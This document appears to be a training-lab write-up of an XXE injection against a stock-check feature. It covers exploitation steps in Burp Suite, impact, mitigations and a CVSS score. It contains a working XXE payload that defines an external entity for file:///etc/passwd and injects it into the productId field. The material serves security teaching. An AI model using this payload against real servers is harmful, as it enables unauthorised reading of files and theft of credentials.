

Exploiting XXE using external entities to retrieve files

Topic: XXE Injection | Difficulty: Apprentice

Description

The stock check feature parses user-supplied XML with external entity processing enabled. By defining a malicious DOCTYPE with an external entity referencing a server-side file path, an attacker can read arbitrary files from the filesystem such as `/etc/passwd`.

Steps to Exploit

1. Navigate to a product page and click 'Check stock'.
2. Intercept the POST request to `/product/stock` in Burp Suite.
3. Observe that the request body contains XML.
4. Add a DOCTYPE declaration with an external entity pointing to `/etc/passwd`.
5. Replace the `productId` element value with a reference to the entity (`&xxe;`).
6. Forward the modified request.
7. Observe that the `/etc/passwd` file contents appear in the response.

Proof of Concept

Injected XML:

```
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<stockCheck>
  <productId>&xxe;</productId>
  <storeId>1</storeId>
</stockCheck>
```

Impact

- Arbitrary file read from the server filesystem.
- Disclosure of `/etc/passwd`, SSH keys, and application config files.
- Potential exposure of database credentials and API keys.
- Foundation for SSRF and further internal network attacks.

Mitigation / Remediation

1. Disable external entity processing in the XML parser (set `FEATURE_EXTERNAL_GENERAL_ENTITIES` to false).
2. Use a simpler data format such as JSON where XML is not required.
3. Validate and sanitize all XML input on the server side.
4. Apply the principle of least privilege to web server file access.

CVSS Score

CVSS v3.1: 7.5 (High)

Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

CVSS Justification

- Attack Vector: Network - exploitable via HTTP POST.
- Attack Complexity: Low - simple DOCTYPE injection.
- Privileges Required: None.
- User Interaction: None.
- Confidentiality: High - full server file read capability.
- Integrity / Availability: None - read-only exploitation.